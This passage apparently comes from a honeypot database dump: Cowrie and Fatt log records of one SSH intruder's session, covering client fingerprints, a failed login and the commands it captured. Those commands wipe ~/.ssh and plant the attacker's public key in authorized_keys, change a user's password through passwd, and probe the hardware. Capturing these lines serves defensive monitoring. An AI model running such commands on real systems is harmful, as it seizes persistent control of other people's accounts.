"hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51958, "timestamp": "2021-09-20T11:04:21.089147", "@timestamp": "2021-09-20T11:04:21.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20474	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.720215+03	2021-09-20 14:15:02.422613+03	{"_id": "PAXgAnwBvYTbRNuE1_nB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d82450cd2684", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:04:21.720215Z", "@timestamp": "2021-09-20T11:04:21.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20475	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.164144+03	2021-09-20 14:15:02.423612+03	{"_id": "RAXgAnwBvYTbRNuE1_nC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:21.164144Z", "@timestamp": "2021-09-20T11:04:21.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20477	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:21.801246+03	2021-09-20 14:15:02.426613+03	{"_id": "RgXgAnwBvYTbRNuE1_nC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d82450cd2684", "@version": "1", "timestamp": "2021-09-20T11:04:21.801246Z", "@timestamp": "2021-09-20T11:04:21.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20478	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:04:21.801047+03	2021-09-20 14:15:02.427613+03	{"_id": "RwXgAnwBvYTbRNuE2_kk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52064, "dest_port": 22, "timestamp": "2021-09-20T11:04:21.801047", "@timestamp": "2021-09-20T11:04:21.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20479	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:22.216733+03	2021-09-20 14:15:02.428613+03	{"_id": "SQXgAnwBvYTbRNuE2_lb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "d82450cd2684", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:04:22.216733Z", "@timestamp": "2021-09-20T11:04:22.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20480	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.464573+03	2021-09-20 14:15:02.429613+03	{"_id": "TQXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:23.464573Z", "@timestamp": "2021-09-20T11:04:23.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20481	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.465114+03	2021-09-20 14:15:02.430612+03	{"_id": "TgXgAnwBvYTbRNuE3_lD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:23.465114Z", "@timestamp": "2021-09-20T11:04:23.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20482	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.616284+03	2021-09-20 14:15:02.432613+03	{"_id": "UQXgAnwBvYTbRNuE3_lE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "176.60.208.43", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "838e205c7ce9", "@version": "1", "destfile": "/home/bkup/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:04:23.616284Z", "@timestamp": "2021-09-20T11:04:23.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
20483	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:23.619221+03	2021-09-20 14:15:02.433612+03	{"_id": "UgXgAnwBvYTbRNuE3_lE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "176.60.208.43", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15473651885986328, "duplicate": true, "timestamp": "2021-09-20T11:04:23.619221Z", "@timestamp": "2021-09-20T11:04:23.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20484	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.173091+03	2021-09-20 14:15:02.434612+03	{"_id": "VgXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.173091Z", "@timestamp": "2021-09-20T11:04:24.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20485	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.175388+03	2021-09-20 14:15:02.435613+03	{"_id": "VQXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.175388Z", "@timestamp": "2021-09-20T11:04:24.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
20486	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.173682+03	2021-09-20 14:15:02.436613+03	{"_id": "WgXgAnwBvYTbRNuE4_ku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "echo -e \\"bkup\\\\nSm6ZWzlslUYy\\\\nSm6ZWzlslUYy\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"bkup\\\\nSm6ZWzlslUYy\\\\nSm6ZWzlslUYy\\"|passwd|bash", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.173682Z", "@timestamp": "2021-09-20T11:04:24.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20487	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:24.869869+03	2021-09-20 14:15:02.437612+03	{"_id": "WQXgAnwBvYTbRNuE4_kt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:24.869869Z", "@timestamp": "2021-09-20T11:04:24.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20488	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.943911+03	2021-09-20 14:15:02.438614+03	{"_id": "XwXgAnwBvYTbRNuE5_kV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.943911Z", "@timestamp": "2021-09-20T11:04:25.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20489	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.238067+03	2021-09-20 14:15:02.440612+03	{"_id": "YQXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.238067Z", "@timestamp": "2021-09-20T11:04:25.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20490	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.581612+03	2021-09-20 14:15:02.441612+03	{"_id": "ZQXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.581612Z", "@timestamp": "2021-09-20T11:04:25.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20491	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:25.582119+03	2021-09-20 14:15:02.442614+03	{"_id": "ZgXgAnwBvYTbRNuE5_kW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:25.582119Z", "@timestamp": "2021-09-20T11:04:25.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20492	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.631081+03	2021-09-20 14:15:02.443613+03	{"_id": "awXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.631081Z", "@timestamp": "2021-09-20T11:04:26.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 